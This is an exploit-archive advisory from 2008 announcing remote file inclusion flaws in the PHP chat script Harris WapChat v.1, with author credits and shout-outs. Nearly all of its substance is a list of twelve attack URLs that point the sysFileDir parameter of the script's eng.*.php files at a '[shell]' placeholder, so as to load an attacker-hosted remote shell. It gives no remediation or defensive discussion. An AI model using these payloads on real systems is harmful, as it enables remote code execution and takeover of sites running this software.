[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Harris WapChat v.1 Multiple Remote File Inclusion Vulnerabilities
# Published : 2008-04-30
# Author : k1n9k0ng
# Previous Title : OxYProject 0.85 (edithistory.php) Remote Code Execution Vulnerability
# Next Title : interact 2.4.1 Multiple Remote File Inclusion Vulnerabilities
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts : Harris Wap Chat
Discovered By : k1n9k0ng
Scripts site : http://www.successkid.com/
Download Script : http://www.successkid.com/blogs/?p=2
Thanks To : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To : adhietslank, sukam, cyberlog, cah_gemblunkz, the_sims, aRiee
letjen, k1tk4t, inouf and jayoes
Site : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Demo Site :
http://successkid.com/wapchat/itdiv.php
Bug Found:
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adCreate.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.createRoom.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.forward.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.pageLogout.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.resultMember.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.searchMember.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]
# www.Syue.com [2008-04-30]